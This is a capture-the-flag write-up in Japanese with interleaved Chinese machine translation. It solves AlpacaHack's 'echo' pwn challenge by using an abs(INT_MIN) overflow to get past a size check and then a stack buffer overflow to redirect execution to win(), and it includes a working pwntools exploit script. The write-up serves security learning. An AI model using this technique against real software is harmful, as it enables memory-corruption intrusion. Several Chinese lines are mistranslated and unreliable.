[pwn] echo [pwn] 回声
c言語で書かれたソースコードmain.cとビルド済みバイナリechoが与えられる。ソースコードは以下。
您将获得一个用 C 编写的源代码 Main.c 和一个预构建的二进制 Echo。 源代码如下。
#include <stdio.h> #include <stdlib.h> #include <unistd.h> #define BUF_SIZE 0x100 /* Call this function! */ void win() { char *args[] = {"/bin/cat", "/flag.txt", NULL}; execve(args[0], args, NULL); exit(1); } int get_size() { // Input size int size = 0; scanf("%d%*c", &size); // Validate size if ((size = abs(size)) > BUF_SIZE) { puts("[-] Invalid size"); exit(1); } return size; } void get_data(char *buf, unsigned size) { unsigned i; char c; // Input data until newline for (i = 0; i < size; i++) { if (fread(&c, 1, 1, stdin) != 1) break; if (c == '\n') break; buf[i] = c; } buf[i] = '\0'; } void echo() { int size; char buf[BUF_SIZE]; // Input size printf("Size: "); size = get_size(); // Input data printf("Data: "); get_data(buf, size); // Show data printf("Received: %s\n", buf); } int main() { setbuf(stdin, NULL); setbuf(stdout, NULL); echo(); return 0; }
win関数が呼べればフラグが得られる。流れとしてはecho関数に入ったあと、get_size関数で入力文字長を取得して、get_data関数でデータを入力している。checksecでバイナリを見てみよう。
如果可以调用 win 函数,则可以获取一个标志。 流程是进入echo函数,用get_size函数获取输入字符长度,用get_data函数输入数据。 让我们看一下带有 checksec 的二进制文件。
Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
Stackを見るとリターンアドレス書き換えを防止するCanaryが付いていない。win関数を呼べればフラグが得られるという点も考えても、リターンアドレスを書き換えればよさそうだ。
如果您查看堆栈,则没有 Canary 可以阻止重写返回地址。 考虑到如果可以调用win函数,则可以获得一个标志,因此似乎可以重写返回地址。
get_data関数はsize文字分読み取ってbufに書き込んでいる。bufはBUF_SIZE分取られているので、これを超えて書き込むことができればリターンアドレスを書き換えて、関数から戻った先をwin関数に変えることができる。
get_data函数读取大小字符并将它们写入 buf。 由于 buf 取了 BUF_SIZE 分钟,如果可以写到超过这个值,就可以重写返回地址,并且从函数返回的目的地可以改为 win 函数。
get_data関数で使うsizeはget_size関数で取得しているが、ここでsizeがBUF_SIZEを超えないように検証処理が入っている。get_size関数を再掲しよう。
get_data函数中使用的大小是通过 get_size 函数获得的,但此处包含验证过程,以便大小不超过 BUF_SIZE。 让我们重新发布 get_size 函数。
int get_size() { // Input size int size = 0; scanf("%d%*c", &size); // Validate size if ((size = abs(size)) > BUF_SIZE) { puts("[-] Invalid size"); exit(1); } return size; }
abs関数を使って負の数を受け入れないようにしている。これを回避する方法が無いかpwn ctf abs
とかで調べてみたが見当たらない。ChatGPTに聞いてみると教えてくれた。
abs 函数用于避免接受负数。 我检查了 PWN CTF ABS,
看看是否有办法避免这种情况,但我找不到。 我问ChatGPT,他告诉我。
Q: absって壊れたりしますか? 问:ABS会破裂吗?
A: abs 関数自体が壊れることは通常ありませんが、特定の状況や誤った使い方によって問題が生じる場合があります。
答:腹肌功能本身通常不会损坏,但在某些情况下或使用不当可能会出现问题。[省略]
abs 関数で問題が発生する可能性のあるシナリオ 您可能会遇到 abs 功能问题的情况
符号付き整数のオーバーフロー: 有符号整数溢出:
abs 関数を INT_MIN に適用すると、オーバーフローが発生する可能性があります。例えば、32ビットの int 型では、INT_MIN は -2147483648 です。これを絶対値にすると 2147483648 となりますが、int の最大値は 2147483647 であるため、これを表現できずにオーバーフローが発生します。
将 abs 函数应用于 INT_MIN 可能会导致溢出。 例如,在 32 位 int 类型中,INT_MIN为 -2147483648。 如果将其设为绝对值,则为2147483648值,但由于 int 的最大值为 2147483647,因此无法表示,从而导致溢出。
なるほどー!!ということで-2147483648
を入力することで自由文字長入力できるようになる。あとは、バッファーオーバーフローでリターンアドレスを書き換えよう。
明白了!! 因此,通过输入 -2147483648
,您将能够输入自由字符长度。 之后,让我们用缓冲区溢出重写返回地址。
gdb+pedaでechoを起動してスタックの状態を見てみる。gdb ./echo
で起動してstart
でステップ実行開始。ni
で進んでいき、echo関数に入りたいので0x4013cf <main+53>: call 0x401321 <echo>
まで来たら中に入るためにstep
する。そこからni
でさらに進むとスタックが整ってくるので、数ステップ行ったらstack 50
とかでスタックが見られる。
使用 gdb+peda 启动 echo 并查看堆栈状态。 从 gdb ./echo 开始
,从 start
开始单步执行。 由于
我们要使用 ni 和 Thailand 进入回声函数0x4013cf我们将在达到 <main+53> 时步入:调用 0x401321 <echo>
。 从那里开始,如果你在
NI
中走得更远,堆栈就会就位,所以如果你走几步,你可以看到堆栈50
或其他东西的堆栈。
0272| 0x7fffffffdca0 --> 0x7fffffffdcb0 --> 0x1 0280| 0x7fffffffdca8 --> 0x4013d4 (<main+58>: mov eax,0x0) 0288| 0x7fffffffdcb0 --> 0x1
以上のようにオフセットが280の地点にmain関数へのリターンアドレスが書いてあった。bufへの書き込みもni
で進めていきAAAAA
を書き込んでみると
如上图所示,main 函数的返回地址写在偏移量为 280 的地方。 如果您继续使用 ni
写入 buf 并写入 AAAAA
,
0000| 0x7fffffffdb90 --> 0x4141414141 ('AAAAA')
のようにオフセット0の地点から書き込まれることが分かった。(ちゃんと計算する方が地力が付きそうだが…)スタックの状態を見るとbufに280バイト分ゴミデータを書き込んだあと、win関数のアドレスを書き込めばリターンアドレスをwin関数のものに変更ができる。ということで以下のようにpwntoolsを使ってソルバーを書くとフラグ獲得。
结果发现,它是从偏移量 0 的点开始编写的,如下所示。 (看来正确计算会更强大…… 查看堆栈状态,您可以通过向 buf 写入 280 字节的垃圾数据,然后写入 win 函数的地址,将返回地址更改为 win 函数的返回地址。 因此,如果您使用 pwntools 编写求解器,如下所示,您将获得一个标志。
from pwn import * win = ELF("./echo").symbols["win"] p = process('./echo') #p = remote("[redacted]", [redacted]) p.sendlineafter(b"Size: ", b"-2147483648") p.sendlineafter(b"Data: ", b'A' * 280 + p32(win)) print(p.recvall())
原文始发于はまやんはまやんはまやん:AlpacaHack Round 1 (Pwn) Writeup